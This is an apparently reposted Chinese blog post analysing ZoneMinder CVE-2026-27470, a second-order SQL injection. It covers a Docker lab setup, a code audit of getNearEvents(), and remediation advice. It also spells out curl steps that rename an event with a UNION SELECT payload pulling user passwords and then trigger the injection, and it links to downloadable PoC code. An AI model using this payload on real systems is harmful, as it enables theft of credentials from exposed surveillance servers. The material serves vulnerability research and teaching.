文章总结: 文档分析了ZoneMinder的CVE-2026-27470二阶SQL注入漏洞,详述其通过写入安全但读取时拼接数据的隐蔽机制。内容涵盖漏洞原理、环境搭建、代码审计定位及手动验证过程,指出传统WAF难以发现此类攻击。文末提供了全局参数化的修复方案与审计清单,强调对数据库内部数据的信任风险,具有较高的技术深度与实战价值。 综合评分: 91 文章分类: 漏洞分析,漏洞POC,代码审计,渗透测试
CVE-2026-27470(Zoneminder-二阶注入)研究
原创
MicroPest MicroPest
MicroPest
2026年2月22日 20:51 安徽
在Github-CVE监测平台看到一个CVE-2026-27470高危漏洞,看了下,引起了我的注意:注入点隐蔽(WAF难以发现)+受众广泛(各种摄像头(海康、大华、TP-Link 等接入统一管理的免费监控方案)。
一、什么是二阶注入?
1、一阶注入(容易被发现):
2、二阶注入(隐蔽):
漏洞原理(二阶注入):
关键:开发者认为”自己数据库的数据是安全的”,导致读取时未做防护。
3、真实案例:
ZoneMinder CVE-2026-27470
审计难点:
- 写入和读取在不同文件( event.php vs status.php )
- 时间间隔可能很长
- 代码审查时很难联想到一起
防御难点:
4、总结:
| 二阶注入 = “特洛伊木马”式攻击
5、核心教训:
“数据一旦进入系统,就不再可信——即使它来自你自己的数据库” ,
这也是 CVE-2026-27470 能存在多年的根本原因。
二阶注入难以被传统 WAF 和扫描器发现,因为:
- 写入阶段完全正常(参数化查询)
- 恶意 payload 躺在数据库中不触发警报
- 读取阶段才发生实际注入
二、什么是Zoneminder?
1、ZoneMinder 是一款开源的视频监控和安防系统软件。
2、为什么这个漏洞重要:
3、总结:
| ZoneMinder = 开源版的 “硬盘录像机” 软件
可以把各种摄像头(海康、大华、TP-Link 等)接入统一管理,是中小企业和家庭常用的免费监控方案。
正因为广泛使用且常暴露在互联网,这个 SQL 注入漏洞(CVE-2026-27470)影响较大。
三、poc地址
https://github.com/kocaemre/CVE-2026-27470
影响范围:ZoneMinder ≤ 1.36.37 和 1.37.61 – 1.38.0
四、搭建测试平台
1、拉取镜像:
docker pull dlandon/zoneminder
docker run -d –name zoneminder –restart unless-stopped -p 8080:80 -e TZ=Asia/Shanghai -v $(pwd)/zm-config:/config -v $(pwd)/zm-data:/var/cache/zoneminder dlandon/zoneminder:latest
docker logs -f zoneminder
2、在另一窗口查看是否正常:
docker exec -it zoneminder bash
service apache2 status
service zoneminder status
service mysql status
# 启动后查看版本
docker exec zoneminder cat /usr/share/zoneminder/www/VERSION 2>/dev/null | docker exec zoneminder dpkg -l | grep zoneminder
当前版本是 1.34.26,比漏洞版本 1.36.37 更旧。这个版本可能也存在类似漏洞,但需要验证。
3、重置密码:
docker exec zoneminder mysql -u root -e “USE zm; UPDATE Users SET Password=PASSWORD(‘admin’) WHERE Username=’admin’;”
4、验证漏洞是否存在:
检查文件是否存在docker exec zoneminder ls -la /usr/share/zoneminder/www/ajax/status.php 2>/dev/null | docker exec zoneminder find / -name “status.php” 2>/dev/null | grep ajax
检查代码docker exec zoneminder grep -n “getNearEvents” /usr/share/zoneminder/www/ajax/status.php 2>/dev/null
返回:
很好! getNearEvents() 函数存在,说明这个版本也有类似功能。但版本 1.34.26 比漏洞版本 1.36.37 更旧,可能需要调整 Poc。
查看 getNearEvents 函数内容(约 401 行开始)docker exec zoneminder sed -n ‘401,480p’ /usr/share/zoneminder/www/ajax/status.php
重点关注是否有类似代码:
漏洞特征:直接拼接 SQL,$sql = ‘… WHERE E.Name >= \” . $event[…] . ‘\”
找到漏洞了!第 420 行存在 SQL 注入:
$sql = “SELECT E.Id AS Id, E.StartTime AS StartTime FROM Events AS E INNER JOIN Monitors AS M ON E.MonitorId = M.Id WHERE $sortColumn”.($sortOrder==’asc’?’<=':'>=’).”‘”.$event[$_REQUEST[‘sort_field’]].”‘”.$_REQUEST[‘filter’][‘sql’].$midSql.’ AND E.Id<‘.$event[‘Id’] . ” ORDER BY $sortColumn “.($sortOrder==’asc’?’desc’:’asc’);
5、注入点: ‘”.$event[$_REQUEST[‘sort_field’]].”‘
$event[$_REQUEST[‘sort_field’]] 直接从数据库读取并拼接到 SQL,没有转义!
================================
6、我提供修改好的Poc代码:
通过网盘分享的文件:poc.py
链接: https://pan.baidu.com/s/1QBoQvpRwCRb9fRKpb9vryQ 提取码: kuuv
================================
五、测试
1、访问web:http://192.168.239.131:8080/zm
默认账号:admin / admin
添加摄像头:
2、确认漏洞可利用:
检查 event.php 是否有重命名功能:
docker exec zoneminder grep -n “rename|Name” /usr/share/zoneminder/www/ajax/event.php | head -20
手动测试步骤:
先确保有 Events 数据
docker exec zoneminder mysql -u root -e “USE zm; SELECT Id, Name FROM Events LIMIT 1;”
如果没有,创建一个测试事件
docker exec zoneminder mysql -u root -e “USE zm; INSERT INTO Events (Name, MonitorId, StartTime, Width, Height, Cause, Notes) VALUES (‘TestEvent’, 1, NOW(), 1920, 1080, ‘Test’, ‘Test’);”
手动发送请求测试:
登录获取 cookie
curl -c cookies.txt -X POST “http://192.168.239.131:8080/zm/index.php” \
-d “username=admin” \
-d “password=admin” \
-d “action=login” \
-d “view=login”
重命名事件(注入 payload)
curl -b cookies.txt -X POST “http://192.168.239.131:8080/zm/index.php” \
-d “request=event” \
-d “action=rename” \
-d “id=1” \
-d “eventName=’ UNION SELECT Password,NULL FROM Users LIMIT 0,1– -“
触发注入
curl -b cookies.txt “http://192.168.239.131:8080/zm/index.php?request=status&entity=nearevents&id=1&sort_field=Name&sort_asc=1”
3、poc测试结果:
4、防范:
正确做法(全局参数化):
// 写入:安全
$db->query(‘UPDATE Events SET Name = ? WHERE Id = ?’, [$name, $id]);
// 读取:同样安全(无论数据来自哪里)
$event = $db->query(‘SELECT * FROM Events WHERE Id = ?’, [$id]);
$sql = “SELECT * FROM Events WHERE Name >= ?”;
$db->query($sql, [$event[‘Name’]]); // 始终参数化!
代码审计检查清单:
// 检查所有 SQL 拼接点
grep -rn “\$.*[‘.*’].*.” –include=”*.php” | grep -i “select|insert|update|delete”
// 危险模式(需人工审查)
$sql = “… ” . $variable; // ❌ 危险
$sql = “… ‘” . $data[‘field’] // ❌ 危险
$sql = sprintf(“… %s”, $var); // ❌ 危险
核心口诀:
| “任何数据进 SQL,必须参数化——无论来自用户还是数据库”
// 记住这个模式
$sql = “SELECT * FROM table WHERE field = ?”;
$db->query($sql, [$data]); // ✅ 永远安全
六、事后盘点
1、二阶 SQL 注入普遍存在,是 Web 应用中常见的安全盲区。
2、这个注入(CVE-2026-27470)和常见 SQLi 的“不同之处”主要在以下几条:
-
二阶(Second-Order / Stored)而不是一阶
-
– 一阶:payload 作为请求参数直接进入拼接 SQL,当次请求就执行、就回显。
-
– 这里是两步:先把 payload 作为“普通字符串”写进数据库(写入点本身是参数化的),之后在另一个功能里把这条“数据库里存着的数据”取出来再拼接进 SQL,第二次请求才执行注入。
-
写入点是“安全的”,漏洞在读路径
-
– 写入阶段(rename/edit event)是 UPDATE … SET Name=? 这种参数化更新,payload 不会当场触发。
-
– 真正的漏洞在 getNearEvents() 读出来 Events.Name / Cause 后做了 … WHERE E.Name >= ‘
‘ … 这种字符串拼接,导致“来自数据库的数据”变成了危险输入源。 -
触发条件依赖“业务状态”,不是随便一个参数就能打
-
– 必须有一个存在的 Event 作为载体( event-id )。
-
– 必须有权限:能编辑/重命名 Event(写入 payload)+ 能访问 near events 状态接口(触发)。
-
– 这也是它容易被扫描器漏掉的原因:扫描器一般只测“单次请求直接注入”。
-
注入点不是典型的 id= 这种输入,而是“排序字段对应的列值”
-
– 请求里 sort_field=Name|Cause 决定服务端取 $event[$_REQUEST[‘sort_field’]] 哪一列的值。
-
– 真正进入拼接 SQL 的不是 sort_field 本身,而是数据库里那列的 内容 (之前存进去的 payload)。
-
数据回显通道比较“绕”
-
– 一般 SQLi 可能直接在页面里回显或报错回显。
-
– 这里是利用 nearevents 的 JSON 字段(如 NextEventId / PrevEventId )作为“载体字段”把 UNION SELECT 的结果带出来。
-
受强约束(长度/列数/字段类型)
-
– Events.Name 长度有限(常见是 varchar(64) ),payload 很容易因为太长被截断,导致你看到“count 能出、hash 出不来”这种现象。
-
– UNION SELECT 还必须匹配原查询的列数和类型,因此脚本固定做成两列(第二列填 NULL )。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:MicroPest MicroPest MicroPest《CVE-2026-27470(Zoneminder-二阶注入)研究》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论